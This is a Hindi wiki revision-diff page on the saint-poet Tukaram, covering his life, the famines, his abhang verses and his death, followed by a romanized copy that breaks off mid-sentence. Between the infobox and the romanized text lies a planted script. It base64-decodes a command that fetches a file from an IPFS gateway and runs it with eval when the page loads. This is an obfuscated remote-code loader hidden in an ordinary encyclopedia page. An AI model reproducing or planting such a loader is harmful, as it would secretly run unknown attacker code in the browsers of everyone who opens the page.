Difference between revisions of "तुकाराम"

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'''तुकाराम''' ([[अंग्रेज़ी]]: ''Tukaram'') [[महाराष्ट्र]] के एक महान [[संत]] और [[कवि]] थे। वे तत्कालीन [[भारत]] में चले रहे '[[भक्ति आंदोलन]]' के एक प्रमुख स्तंभ थे। इनके जन्म आदि के विषय में विद्वानों में मतभेद हैं। तुकाराम को चैतन्य नामक [[साधु]] ने 'रामकृष्ण हरि' मंत्र का स्वप्न में उपदेश दिया था। इसके उपरांत इन्होंने 17 वर्ष संसार को समान रूप से उपदेश देने में व्यतीत किए। तुकाराम के मुख से समय-समय पर सहज रूप से परिस्फुटित होने वाली 'अभंग' वाणी के अतिरिक्त इनकी अन्य कोई विशेष साहित्यिक कृति उपलब्ध नहीं है। अपने जीवन के उत्तरार्ध में इनके द्वारा गाए गए तथा उसी क्षण इनके शिष्यों द्वारा लिखे गए लगभग 4000 '[[अभंग]]' आज उपलब्ध हैं। तुकाराम ने अपनी साधक अवस्था में [[संत ज्ञानेश्वर]] और [[नामदेव]], इन पूर्वकालीन संतों के [[ग्रंथ|ग्रंथों]] का गहराई तथा श्रद्धा से अध्ययन किया था। इन तीनों संत कवियों के [[साहित्य]] में एक ही आध्यात्म सूत्र पिरोया हुआ है।
 
'''तुकाराम''' ([[अंग्रेज़ी]]: ''Tukaram'') [[महाराष्ट्र]] के एक महान [[संत]] और [[कवि]] थे। वे तत्कालीन [[भारत]] में चले रहे '[[भक्ति आंदोलन]]' के एक प्रमुख स्तंभ थे। इनके जन्म आदि के विषय में विद्वानों में मतभेद हैं। तुकाराम को चैतन्य नामक [[साधु]] ने 'रामकृष्ण हरि' मंत्र का स्वप्न में उपदेश दिया था। इसके उपरांत इन्होंने 17 वर्ष संसार को समान रूप से उपदेश देने में व्यतीत किए। तुकाराम के मुख से समय-समय पर सहज रूप से परिस्फुटित होने वाली 'अभंग' वाणी के अतिरिक्त इनकी अन्य कोई विशेष साहित्यिक कृति उपलब्ध नहीं है। अपने जीवन के उत्तरार्ध में इनके द्वारा गाए गए तथा उसी क्षण इनके शिष्यों द्वारा लिखे गए लगभग 4000 '[[अभंग]]' आज उपलब्ध हैं। तुकाराम ने अपनी साधक अवस्था में [[संत ज्ञानेश्वर]] और [[नामदेव]], इन पूर्वकालीन संतों के [[ग्रंथ|ग्रंथों]] का गहराई तथा श्रद्धा से अध्ययन किया था। इन तीनों संत कवियों के [[साहित्य]] में एक ही आध्यात्म सूत्र पिरोया हुआ है।
 
==जीवन परिचय==
 
==जीवन परिचय==
तुकाराम का जन्म [[महाराष्ट्र]] राज्य के [[पुणे ज़िला|पुणे ज़िले]] के अंतर्गत 'देहू' नामक ग्राम में शाके 1520; सन् 1598 में हुआ था। तुकाराम की जन्मतिथि के संबंध में विद्वानों में मतभेद है तथा सभी दृष्टियों से विचार करने पर शाके 1520 में जन्म होना ही मान्य प्रतीत होता है। पूर्व के आठवें पुरुष विश्वंभर बाबा से इनके कुल में विट्ठल की उपासना बराबर चली आ रही थी। इनके कुल के सभी लोग पंढरपुर की यात्रा (वारी) के लिये नियमित रूप से जाते थे।  
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तुकाराम का जन्म [[महाराष्ट्र]] राज्य के [[पुणे ज़िला|पुणे ज़िले]] के अंतर्गत 'देहू' नामक ग्राम में शाके 1520; सन् 1598 में हुआ था। इनके [[पिता]] का नाम 'बोल्होबा' और [[माता]] का नाम 'कनकाई' था। तुकाराम की जन्मतिथि के संबंध में विद्वानों में मतभेद है तथा सभी दृष्टियों से विचार करने पर शाके 1520 में इनका जन्म होना ही मान्य प्रतीत होता है। पूर्व के आठवें पुरुष विश्वंभर बाबा से इनके कुल में विट्ठल की उपासना बराबर चली आ रही थी। इनके कुल के सभी लोग '[[पंढरपुर]]' की यात्रा (वारी) के लिये नियमित रूप से जाते थे।
 
====विपत्तियाँ====
 
====विपत्तियाँ====
देहू ग्राम के महाजन होने के कारण तुकाराम के कुटुम्ब को प्रतिष्ठित माना जाता था। इनकी बाल्यावस्था माता 'कनकाई' व पिता 'बहेबा' की देखरेख में अत्यंत दुलार से बीती, किंतु जब ये प्राय: 18 वर्ष के थे इनके माता पिता का स्वर्गवास हो गया तथा इसी समय देश में हुए भीषण [[अकाल]] के कारण इनकी प्रथम पत्नी व छोटे बालक की भूख के कारण तड़पते हुए मृत्यु हो गई। विपत्तियों की ज्वालाओं में झुलसे हुए तुकाराम का मन प्रपंच से ऊब गया। इनकी दूसरी पत्नी 'जीजाबाई' बड़ी ही कर्कशा थी। ये सांसारिक सुखों से विरक्त हो गए। चित्त को शांति मिले, इस विचार से तुकाराम प्रतिदिन देहू ग्राम के समीप भावनाथ नामक पहाड़ी पर जाते और भगवान विट्ठल के नामस्मरण में दिन व्यतीत करते।
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देहू ग्राम के महाजन होने के कारण तुकाराम के कुटुम्ब को प्रतिष्ठित माना जाता था। इनकी बाल्यावस्था माता 'कनकाई' व पिता 'बहेबा' की देखरेख में अत्यंत दुलार के साथ व्यतीत हुई थी, किंतु जब ये प्राय: 18 वर्ष के थे, तभी इनके माता-पिता का स्वर्गवास हो गया। इसी समय देश में हुए भीषण [[अकाल]] के कारण इनकी प्रथम पत्नी व छोटे बालक की भूख के कारण तड़पते हुए मृत्यु हो गई। तुकाराम चाहते तो अकाल के समय में अपनी महाजनी से और भी धन आदि एकत्र कर सकते थे, किंतु उन्होंने ऐसा नहीं किया। विपत्तियों की ज्वालाओं में झुलसे हुए तुकाराम का मन प्रपंच से ऊब गया।
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==सुखों से विरक्ति==
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तुकाराम सांसारिक सुखों से विरक्त होते जा रहे थे। इनकी दूसरी पत्नी 'जीजाबाई' धनी परिवार की पुत्री और बड़ी ही कर्कशा स्वभाव की थी। अपनी पहली पत्नी और पुत्र की मृत्यु के बाद तुकाराम काफ़ी दु:खी थे। अब अभाव और परेशानी का भयंकर दौर शुरू हो गया था। तुकाराम का मन विट्ठल के भजन गाने में लगता, जिस कारण उनकी दूसरी पत्नी दिन-रात ताने देती थी। तुकाराम इतने ध्यान मग्न रहते थे कि एक बार किसी का सामान बैलगाड़ी में लाद कर पहुँचाने जा रहे थे। पहुँचने पर देखा कि गाड़ी में लदी बोरियाँ रास्ते में ही गायब हो गई हैं। इसी प्रकार धन वसूल करके वापस लौटते समय एक गरीब [[ब्राह्मण]] की करुण कथा सुनकर सारा [[रुपया]] उसे दे दिया।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=358|url=}}</ref>
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==अभंग की रचना==
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पारिवारिक कलह से तंग आकर तुकाराम [[नारायणी नदी]] के उत्तर में 'मानतीर्थ पर्वत' पर जा बैठे और [[भागवत]] भजन करने लगे। इससे घबराकर पत्नी ने देवर को भेजकर इन्हें घर बुलवाया और अपने तरीके रहने की छूट दे दी। अब तुकाराम ने 'अभंग' रचकर कीर्तन करना आरंभ कर दिया। इसका लोगों पर बड़ा प्रभाव पड़ा। कुछ लोग विरोध भी करने लगे। कहा जाता है कि रामेश्वर भट्ट नामक एक [[कन्नड़]] ब्राह्मण ने इनसे कहा कि तुम 'अभंग' रचकर और कीर्तन करके लोगों को वैदिक धर्म के विरुद्ध बहकाते हो। तुम यह काम बंद कर दो। उसने संत तुकाराम को देहू गांव से निकालने का भी हुक्म जारी करवा दिया। इस पर तुकाराम ने रामेश्वर भट्ट से जाकर कहा कि मैं तो विट्ठ जी की आज्ञा से कविता करता हूँ। आप कहते हैं तो मैं यह काम बंद कर दूँगा। यह कहते हुए उन्होंने स्वरचित अभंगों का बस्ता नदी में डुबा दिया। किन्तु 13 दिन बाद लोगों ने देखा कि जब तुकाराम [[ध्यान]] में बैठे थे, उनका बस्ता सूखा ही नदी के ऊपर तैर रहा है। यह सुनकर रामेश्वर भट्ट भी उनका शिष्य हो गया। अभंग छंद में रचित तुकाराम के लगभग 4000 पद प्राप्त हैं। इनका [[मराठी भाषा|मराठी]] जनता के [[हृदय]] में बड़ा ही सम्मान है। लोग इनका पाठ करते हैं। इनकी रचनाओं में 'ज्ञानेश्वरी' और 'एकनामी भागवत' की छाप दिखाई देती है। काव्य की दृष्टि से भी ये रचनाएँ उत्कृष्ट कोटि की मानी जाती हैं।
 
==माता-पिता से वियोग==
 
==माता-पिता से वियोग==
 
तुकाराम जी सत्रह [[वर्ष |वर्ष]] के थे, तब उनके वात्सल्य मूर्ति पिता श्री बोल्होबा इस दुनिया से उठ गए, जिन्होंने तुकाराम जी को जमींदार बनाया था।  
 
तुकाराम जी सत्रह [[वर्ष |वर्ष]] के थे, तब उनके वात्सल्य मूर्ति पिता श्री बोल्होबा इस दुनिया से उठ गए, जिन्होंने तुकाराम जी को जमींदार बनाया था।  
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<blockquote><poem>पिता ने किया संचित धन। जीवन की न परवाह कर।
पिता ने किया संचित धन। जीवन की न परवाह कर।
 
 
की महाजनी - प्रथा प्रदान। बोझ उठाया कटि-कंधों पर॥
 
की महाजनी - प्रथा प्रदान। बोझ उठाया कटि-कंधों पर॥
 
जिनकी छत्रछाया में संसार-ताप से बचे, वह साया ही हट गया।
 
जिनकी छत्रछाया में संसार-ताप से बचे, वह साया ही हट गया।
अकस्मात् छोड गए पिता। थी तब नहीं कोई चिंता॥
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अकस्मात् छोड गए पिता। थी तब नहीं कोई चिंता॥</poem></blockquote>
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तुकाराम जी अत्यंत दुःखी हुए। वह दुःख कम होने से पहले ही अर्थात पिता की मौत के एक वर्ष पश्चात माता कनकाई का स्वर्गवास हुआ। तुकाराम जी पर दुःखों का पहाड टूट पड़ा। माँ ने लाडले के लिए क्या नहीं किया था? उसके बाद अठारह बरस की उम्र में ज्येष्ठ बंधु सावजी की पत्नी (भावज) चल बसी। पहले से ही घर-गृहस्थी में सावजी का ध्यान न था। पत्नी की मृत्यु से वे घर त्यागकर [[तीर्थ |तीर्थयात्रा]] के लिए निकल गए। जो गए, वापस लौटे ही नहीं। [[परिवार |परिवार]] के चार सदस्यों को उनका बिछोह सहना पड़ा। जहाँ कुछ कमी न थी, वहाँ अपनों की, एक एक की कमी खलने लगी। तुकाराम जी ने सब्र रखा। वे हिम्मत न हारे। उदासीनता, निराशा के बावजूद उम्र की 20 साल की अवस्था में सफलता से घर-गृहस्थी करने का प्रयास करने लगे। परंतु काल को यह भी मंजूर न था। एक ही [[वर्ष]] में स्थितियों ने प्रतिकूल रूप धारण किया। दक्खिन में बडा अकाल पड़ा। महाभयंकर अकाल समय था 1629 ईस्वी का<ref> शाके 1550-51</ref> देरी से बरसात हुई। हुई तो अतिवृष्टि में फसल बह गई। लोगों के मन में उम्मीद की किरण बाकी थी। पर 1630 ईस्वी में बिल्कुल वर्षा न हुई। चारों ओर हाहाकार मच गया। अनाज की कीमतें आसमान छूने लगीं। हरी घास के अभाव में अनेक प्राणी मौत के घाट उतरे। अन्न की कमी सैकडों लोगों की मौत का कारण बनी। धनी परिवार मिट्टी चाटने लगे। दुर्दशा का फेर फिर भी समाप्त न हुआ। सन् 1631 ईस्वी में प्राकृतिक आपत्तियाँ चरम सीमा पार कर गईं। अतिवृष्टि तथा बाढ की चपेट से कुछ न बचा। [[अकाल]] तथा प्रकृति का प्रकोप लगातार तीन साल झेलना पड़ा। अकाल की इस दुर्दशा का वर्णन महीपति बाबा इस तरह करते हैं -
 
तुकाराम जी अत्यंत दुःखी हुए। वह दुःख कम होने से पहले ही अर्थात पिता की मौत के एक वर्ष पश्चात माता कनकाई का स्वर्गवास हुआ। तुकाराम जी पर दुःखों का पहाड टूट पड़ा। माँ ने लाडले के लिए क्या नहीं किया था? उसके बाद अठारह बरस की उम्र में ज्येष्ठ बंधु सावजी की पत्नी (भावज) चल बसी। पहले से ही घर-गृहस्थी में सावजी का ध्यान न था। पत्नी की मृत्यु से वे घर त्यागकर [[तीर्थ |तीर्थयात्रा]] के लिए निकल गए। जो गए, वापस लौटे ही नहीं। [[परिवार |परिवार]] के चार सदस्यों को उनका बिछोह सहना पड़ा। जहाँ कुछ कमी न थी, वहाँ अपनों की, एक एक की कमी खलने लगी। तुकाराम जी ने सब्र रखा। वे हिम्मत न हारे। उदासीनता, निराशा के बावजूद उम्र की 20 साल की अवस्था में सफलता से घर-गृहस्थी करने का प्रयास करने लगे। परंतु काल को यह भी मंजूर न था। एक ही [[वर्ष]] में स्थितियों ने प्रतिकूल रूप धारण किया। दक्खिन में बडा अकाल पड़ा। महाभयंकर अकाल समय था 1629 ईस्वी का<ref> शाके 1550-51</ref> देरी से बरसात हुई। हुई तो अतिवृष्टि में फसल बह गई। लोगों के मन में उम्मीद की किरण बाकी थी। पर 1630 ईस्वी में बिल्कुल वर्षा न हुई। चारों ओर हाहाकार मच गया। अनाज की कीमतें आसमान छूने लगीं। हरी घास के अभाव में अनेक प्राणी मौत के घाट उतरे। अन्न की कमी सैकडों लोगों की मौत का कारण बनी। धनी परिवार मिट्टी चाटने लगे। दुर्दशा का फेर फिर भी समाप्त न हुआ। सन् 1631 ईस्वी में प्राकृतिक आपत्तियाँ चरम सीमा पार कर गईं। अतिवृष्टि तथा बाढ की चपेट से कुछ न बचा। [[अकाल]] तथा प्रकृति का प्रकोप लगातार तीन साल झेलना पड़ा। अकाल की इस दुर्दशा का वर्णन महीपति बाबा इस तरह करते हैं -
 
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भीषण अकाल की चपेट में तुकाराम जी का कारोबार, गृहस्थी समूल नष्ट हुई। पशुधन नष्ट हुआ, साहूकारी डूबी, धंधा चौपट हुआ, सम्मान, प्रतिष्ठा घट गई। ऐसे में प्रथम पत्नी 'रखमाबाई' तथा इकलौता बेटा 'संतोबा' काल के ग्रास बने। आमतौर पर अकाल की स्थिति साहूकार और व्यापारियों के लिए सुनहरा मौका होता है। चीजों का कृत्रिम अभाव निर्माण कर वे अपनी जेबें भरते हैं। पर तुकारामजी ऐसे पत्थरदिल नहीं थे। अपना दुःख, दुर्दशा भूलकर वे अकाल पीडितों की सेवा में, मदद में जुट गए।<ref>{{cite web |url=http://tukaram.com/hindi/charitra/charitra_hindi03.asp |title=माता-पिता से वियोग- तुकाराम |accessmonthday=22 मार्च |accessyear=2013 |last= |first= |authorlink= |format=ए.एस.पी |publisher=तुकाराम डॉट कॉम |language=हिंदी }}</ref>
 
भीषण अकाल की चपेट में तुकाराम जी का कारोबार, गृहस्थी समूल नष्ट हुई। पशुधन नष्ट हुआ, साहूकारी डूबी, धंधा चौपट हुआ, सम्मान, प्रतिष्ठा घट गई। ऐसे में प्रथम पत्नी 'रखमाबाई' तथा इकलौता बेटा 'संतोबा' काल के ग्रास बने। आमतौर पर अकाल की स्थिति साहूकार और व्यापारियों के लिए सुनहरा मौका होता है। चीजों का कृत्रिम अभाव निर्माण कर वे अपनी जेबें भरते हैं। पर तुकारामजी ऐसे पत्थरदिल नहीं थे। अपना दुःख, दुर्दशा भूलकर वे अकाल पीडितों की सेवा में, मदद में जुट गए।<ref>{{cite web |url=http://tukaram.com/hindi/charitra/charitra_hindi03.asp |title=माता-पिता से वियोग- तुकाराम |accessmonthday=22 मार्च |accessyear=2013 |last= |first= |authorlink= |format=ए.एस.पी |publisher=तुकाराम डॉट कॉम |language=हिंदी }}</ref>
 
 
==परमार्थ मार्ग==
 
==परमार्थ मार्ग==
तुकाराम को 'चैतन्य' नामक साधु ने [[माघ]] सुदी 10 शाके 1541 में 'रामकृष्ण हरि' मंत्र का स्वप्न में उपदेश दिया। इसके उपरांत इन्होंने 17 वर्ष संसार को समान रूप से उपदेश देने में व्यतीत किए। सच्चे वैराग्य तथा क्षमाशील अंत:करण के कारण इनकी निंदा करने वाले निंदक भी पश्चाताप करते हूए इनके भक्त बन गए। इस प्रकार 'भगवत धर्म' का सबको उपदेश करते व परमार्थ मार्ग को आलोकित करते हुए अधर्म का खंडन करनेवाले तुकाराम ने फाल्गुन बदी (कृष्ण) द्वादशी, शाके 1571 को देहविसर्जन किया।
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तुकाराम को 'चैतन्य' नामक साधु ने [[माघ]] सुदी 10 शाके 1541 में 'रामकृष्ण हरि' मंत्र का स्वप्न में उपदेश दिया। इसके उपरांत इन्होंने 17 वर्ष संसार को समान रूप से उपदेश देने में व्यतीत किए। सच्चे वैराग्य तथा क्षमाशील अंत:करण के कारण इनकी निंदा करने वाले निंदक भी पश्चाताप करते हूए इनके भक्त बन गए। इस प्रकार 'भगवत धर्म' का सबको उपदेश करते व परमार्थ मार्ग को आलोकित करते हुए अधर्म का खंडन करनेवाले तुकाराम ने फाल्गुन बदी (कृष्ण) द्वादशी, शाके 1571 को देहविसर्जन किया। तुकाराम के मुख से समय समय पर सहज रूप से परिस्फुटित होने वाली 'अभंग' वाणी के अतिरिक्त इनकी अन्य कोई विशेष साहित्यिक कृति नहीं है। अपने जीवन के उत्तरार्ध में इनके द्वारा गाए गए तथा उसी क्षण इनके शिष्यों द्वारा लिखे गए लगभग 4000 [[अभंग]] आज उपलब्ध हैं।
 
 
तुकाराम के मुख से समय समय पर सहज रूप से परिस्फुटित होनेवाली 'अभंग' वाणी के अतिरिक्त इनकी अन्य कोई विशेष साहित्यिक कृति नहीं है। अपने जीवन के उत्तरार्ध में इनके द्वारा गाए गए तथा उसी क्षण इनके शिष्यों द्वारा लिखे गए लगभग 4000 [[अभंग]] आज उपलब्ध हैं।
 
  
 
[[संत ज्ञानेश्वर]] द्वारा लिखी गई 'ज्ञानेश्र्वरी' तथा श्री एकनाथ द्वारा लिखित 'एकनाथी भागवत' के बारकरी संप्रदायवालों के प्रमुख धर्मग्रंथ हैं। इस वांड्मय की छाप तुकाराम के अंभंगों पर दिखलाई पड़ती हैं। तुकाराम ने अपनी साधक अवस्था में इन पूर्वकालीन संतों के ग्रंथों का गहराई तथा श्रद्धा से अध्ययन किया। इन तीनों संत कवियों के सहित्य में एक ही आध्यात्म सूत्र पिरोया हुआ है तथा तीनों के पारमार्थिक विचारों का अंतरंग भी एकरूप है। ज्ञानदेव की सुमधुर वाणी काव्यालंकार से मंडित है, एकनाथ की भाषा विस्तृत है पर तुकाराम की वाणी सूत्रबद्ध, अल्पाक्षर, रमणीय तथा मर्मभेदक हैं।
 
[[संत ज्ञानेश्वर]] द्वारा लिखी गई 'ज्ञानेश्र्वरी' तथा श्री एकनाथ द्वारा लिखित 'एकनाथी भागवत' के बारकरी संप्रदायवालों के प्रमुख धर्मग्रंथ हैं। इस वांड्मय की छाप तुकाराम के अंभंगों पर दिखलाई पड़ती हैं। तुकाराम ने अपनी साधक अवस्था में इन पूर्वकालीन संतों के ग्रंथों का गहराई तथा श्रद्धा से अध्ययन किया। इन तीनों संत कवियों के सहित्य में एक ही आध्यात्म सूत्र पिरोया हुआ है तथा तीनों के पारमार्थिक विचारों का अंतरंग भी एकरूप है। ज्ञानदेव की सुमधुर वाणी काव्यालंकार से मंडित है, एकनाथ की भाषा विस्तृत है पर तुकाराम की वाणी सूत्रबद्ध, अल्पाक्षर, रमणीय तथा मर्मभेदक हैं।
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;तीसरी अवस्था
 
;तीसरी अवस्था
 
किंकर्तव्यमूढ़ता के अंधकार में तुकाराम जी की [[आत्मा]] को तड़पानेवाली घोर तमस्विनी का शीघ्र ही अंत हुआ और आत्म साक्षात्कार के [[सूर्य]] से आलोकित तुकाराम ब्रह्मानंद में विभोर हो गए। उनके आध्यात्मिक जीवनपथ की यह अंतिम एवं चिरवांछित सफलता की अवस्था थी।
 
किंकर्तव्यमूढ़ता के अंधकार में तुकाराम जी की [[आत्मा]] को तड़पानेवाली घोर तमस्विनी का शीघ्र ही अंत हुआ और आत्म साक्षात्कार के [[सूर्य]] से आलोकित तुकाराम ब्रह्मानंद में विभोर हो गए। उनके आध्यात्मिक जीवनपथ की यह अंतिम एवं चिरवांछित सफलता की अवस्था थी।
 
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==आलोचना==
====आलोचना====
 
 
इस प्रकार ईश्वरप्राप्ति की साधना पूर्ण होने के उपरांत तुकाराम के मुख से जो उपदेशवाणी प्रकट हुई वह अत्यंत महत्त्वपूर्ण और अर्थपूर्ण है। स्वभावत: स्पष्टवादी होने के कारण इनकी वाणी में जो कठोरता दिखलाई पड़ती है, उसके पीछे इनका प्रमुख उद्देश्य समाज से दुष्टों का निर्दलन कर धर्म का संरक्षण करना ही था। इन्होने सदैव सत्य का ही अवलंबन किया और किसी की प्रसन्नता और अप्रसन्नता की ओर ध्यान न देते हुए धर्मसंरंक्षण के साथ साथ पाखंडखंडन का कार्य निरंतर चलाया। दाभिक संत, अनुभवशून्य पोथीपंडित, दुराचारी धर्मगुरु इत्यादि समाजकंटकों की उन्होंने अत्यंत तीव्र आलोचना की है। तुकाराम मन से भाग्यवादी थे अत: उनके द्वारा चित्रित मानवी संसार का चित्र निराशा, विफलता और उद्वेग से रँगा हुआ है, तथापि उन्होंने सांसारिकों के लिये 'संसार का त्याग करो' इस प्रकार का उपदेश कभी नहीं दिया। इनके उपदेश का यही सार है कि संसार के क्षणिक सुख की अपेक्षा परमार्थ के शाश्वत सुख की प्राप्ति के लिये मानव का प्रयत्न होना चाहिए।
 
इस प्रकार ईश्वरप्राप्ति की साधना पूर्ण होने के उपरांत तुकाराम के मुख से जो उपदेशवाणी प्रकट हुई वह अत्यंत महत्त्वपूर्ण और अर्थपूर्ण है। स्वभावत: स्पष्टवादी होने के कारण इनकी वाणी में जो कठोरता दिखलाई पड़ती है, उसके पीछे इनका प्रमुख उद्देश्य समाज से दुष्टों का निर्दलन कर धर्म का संरक्षण करना ही था। इन्होने सदैव सत्य का ही अवलंबन किया और किसी की प्रसन्नता और अप्रसन्नता की ओर ध्यान न देते हुए धर्मसंरंक्षण के साथ साथ पाखंडखंडन का कार्य निरंतर चलाया। दाभिक संत, अनुभवशून्य पोथीपंडित, दुराचारी धर्मगुरु इत्यादि समाजकंटकों की उन्होंने अत्यंत तीव्र आलोचना की है। तुकाराम मन से भाग्यवादी थे अत: उनके द्वारा चित्रित मानवी संसार का चित्र निराशा, विफलता और उद्वेग से रँगा हुआ है, तथापि उन्होंने सांसारिकों के लिये 'संसार का त्याग करो' इस प्रकार का उपदेश कभी नहीं दिया। इनके उपदेश का यही सार है कि संसार के क्षणिक सुख की अपेक्षा परमार्थ के शाश्वत सुख की प्राप्ति के लिये मानव का प्रयत्न होना चाहिए।
 
====काव्य रचना====
 
====काव्य रचना====
 
तुकाराम की अधिकांश काव्य रचना कैबल अभंग छंद में ही है, तथापि उन्होंने रूपकात्मक रचनाएँ भी की हैं। सभी रूपक काव्य की दृष्टि से उत्कृष्ट हैं। इनकी वाणी श्रोताओं के [[कान]] पर पड़ते ही उनके [[हृदय]] को पकड़ लेने का अद्भुत सामर्थ्य रखती है। इनके काव्यों में अलंकारों का या शब्दचमत्कार का प्राचुर्य नहीं है। इनके अभंग सूत्रबद्ध होते हैं। थोड़े शब्दों में महान अर्थों को व्यक्त करने का इनका कौशल मराठी साहित्य में अद्वितीय है।
 
तुकाराम की अधिकांश काव्य रचना कैबल अभंग छंद में ही है, तथापि उन्होंने रूपकात्मक रचनाएँ भी की हैं। सभी रूपक काव्य की दृष्टि से उत्कृष्ट हैं। इनकी वाणी श्रोताओं के [[कान]] पर पड़ते ही उनके [[हृदय]] को पकड़ लेने का अद्भुत सामर्थ्य रखती है। इनके काव्यों में अलंकारों का या शब्दचमत्कार का प्राचुर्य नहीं है। इनके अभंग सूत्रबद्ध होते हैं। थोड़े शब्दों में महान अर्थों को व्यक्त करने का इनका कौशल मराठी साहित्य में अद्वितीय है।
 
तुकाराम की आत्मनिष्ठ अभंगवाणी जनसाधारण को भी परम प्रिय लगती है। इसका प्रमुख कारण है कि सामान्य मानव के हृदय में उद्भूत होनेवाले सुख, दु:ख, आशा, निराशा, राग, लोभ आदि का प्रकटीकरण इसमें दिखलाई पड़ता है। [[संत ज्ञानेश्वर|ज्ञानेश्वर]], [[संत नामदेव|नामदेव]] आदि संतों ने भागवत धर्म की पताका को अपने कंधों पर ही लिया था किंतु तुकाराम ने उसे अपने जीवनकाल ही में अधिक ऊँचे स्थान पर फहरा दिया। उन्होंने अध्यात्मज्ञान को सुलभ बनाया तथा भक्ति का डंका बजाते हुए आबाल वृद्धो के लिये सहज सुलभ साध्य ऐसे भक्ति मार्ग को अधिक उज्वल कर दिया।
 
तुकाराम की आत्मनिष्ठ अभंगवाणी जनसाधारण को भी परम प्रिय लगती है। इसका प्रमुख कारण है कि सामान्य मानव के हृदय में उद्भूत होनेवाले सुख, दु:ख, आशा, निराशा, राग, लोभ आदि का प्रकटीकरण इसमें दिखलाई पड़ता है। [[संत ज्ञानेश्वर|ज्ञानेश्वर]], [[संत नामदेव|नामदेव]] आदि संतों ने भागवत धर्म की पताका को अपने कंधों पर ही लिया था किंतु तुकाराम ने उसे अपने जीवनकाल ही में अधिक ऊँचे स्थान पर फहरा दिया। उन्होंने अध्यात्मज्ञान को सुलभ बनाया तथा भक्ति का डंका बजाते हुए आबाल वृद्धो के लिये सहज सुलभ साध्य ऐसे भक्ति मार्ग को अधिक उज्वल कर दिया।
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====निधन====
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संत तुकाराम का निधन 42 वर्ष की उम्र में हुआ। इनका देहू ग्राम [[तीर्थ]] माना जाता है और प्रतिवर्ष पाँच दिन तक उनकी निधन तिथि मनाई जाती है।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}

Revision as of 09:02, 23 March 2013

tukaram
poora nam sant tukaram
janm nishchit tithi ajnat
janm bhoomi pune zile ke aantargat 'dehoo' namak gram
mrityu nishchit tithi ajnat
karm bhoomi maharashtr
karm-kshetr kavi
prasiddhi bhakti aandolan ke ek pramukh stanbh
nagarikata bharatiy
bahari k diyaan adhikarik vebasait
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tukaram (aangrezi: Tukaram) maharashtr ke ek mahan sant aur kavi the. ve tatkalin bharat mean chale rahe 'bhakti aandolan' ke ek pramukh stanbh the. inake janm adi ke vishay mean vidvanoan mean matabhed haian. tukaram ko chaitany namak sadhu ne 'ramkrishna hari' mantr ka svapn mean upadesh diya tha. isake uparaant inhoanne 17 varsh sansar ko saman roop se upadesh dene mean vyatit kie. tukaram ke mukh se samay-samay par sahaj roop se parisphutit hone vali 'abhang' vani ke atirikt inaki any koee vishesh sahityik kriti upalabdh nahian hai. apane jivan ke uttarardh mean inake dvara gae ge tatha usi kshan inake shishyoan dvara likhe ge lagabhag 4000 'abhang' aj upalabdh haian. tukaram ne apani sadhak avastha mean sant jnaneshvar aur namadev, in poorvakalin santoan ke granthoan ka gaharaee tatha shraddha se adhyayan kiya tha. in tinoan sant kaviyoan ke sahity mean ek hi adhyatm sootr piroya hua hai.

jivan parichay

tukaram ka janm maharashtr rajy ke pune zile ke aantargat 'dehoo' namak gram mean shake 1520; sanh 1598 mean hua tha. inake pita ka nam 'bolhoba' aur mata ka nam 'kanakaee' tha. tukaram ki janmatithi ke sanbandh mean vidvanoan mean matabhed hai tatha sabhi drishtiyoan se vichar karane par shake 1520 mean inaka janm hona hi many pratit hota hai. poorv ke athavean purush vishvanbhar baba se inake kul mean vitthal ki upasana barabar chali a rahi thi. inake kul ke sabhi log 'pandharapur' ki yatra (vari) ke liye niyamit roop se jate the.

vipattiyaan

dehoo gram ke mahajan hone ke karan tukaram ke kutumb ko pratishthit mana jata tha. inaki balyavastha mata 'kanakaee' v pita 'baheba' ki dekharekh mean atyant dular ke sath vyatit huee thi, kiantu jab ye pray: 18 varsh ke the, tabhi inake mata-pita ka svargavas ho gaya. isi samay desh mean hue bhishan akal ke karan inaki pratham patni v chhote balak ki bhookh ke karan t dapate hue mrityu ho gee. tukaram chahate to akal ke samay mean apani mahajani se aur bhi dhan adi ekatr kar sakate the, kiantu unhoanne aisa nahian kiya. vipattiyoan ki jvalaoan mean jhulase hue tukaram ka man prapanch se oob gaya.

sukhoan se virakti

tukaram saansarik sukhoan se virakt hote ja rahe the. inaki doosari patni 'jijabaee' dhani parivar ki putri aur b di hi karkasha svabhav ki thi. apani pahali patni aur putr ki mrityu ke bad tukaram kafi du:khi the. ab abhav aur pareshani ka bhayankar daur shuroo ho gaya tha. tukaram ka man vitthal ke bhajan gane mean lagata, jis karan unaki doosari patni din-rat tane deti thi. tukaram itane dhyan magn rahate the ki ek bar kisi ka saman bailaga di mean lad kar pahuanchane ja rahe the. pahuanchane par dekha ki ga di mean ladi boriyaan raste mean hi gayab ho gee haian. isi prakar dhan vasool karake vapas lautate samay ek garib brahman ki karun katha sunakar sara rupaya use de diya.[1]

abhang ki rachana

parivarik kalah se tang akar tukaram narayani nadi ke uttar mean 'manatirth parvat' par ja baithe aur bhagavat bhajan karane lage. isase ghabarakar patni ne devar ko bhejakar inhean ghar bulavaya aur apane tarike rahane ki chhoot de di. ab tukaram ne 'abhang' rachakar kirtan karana aranbh kar diya. isaka logoan par b da prabhav p da. kuchh log virodh bhi karane lage. kaha jata hai ki rameshvar bhatt namak ek kann d brahman ne inase kaha ki tum 'abhang' rachakar aur kirtan karake logoan ko vaidik dharm ke viruddh bahakate ho. tum yah kam band kar do. usane sant tukaram ko dehoo gaanv se nikalane ka bhi hukm jari karava diya. is par tukaram ne rameshvar bhatt se jakar kaha ki maian to vitth ji ki ajna se kavita karata hooan. ap kahate haian to maian yah kam band kar dooanga. yah kahate hue unhoanne 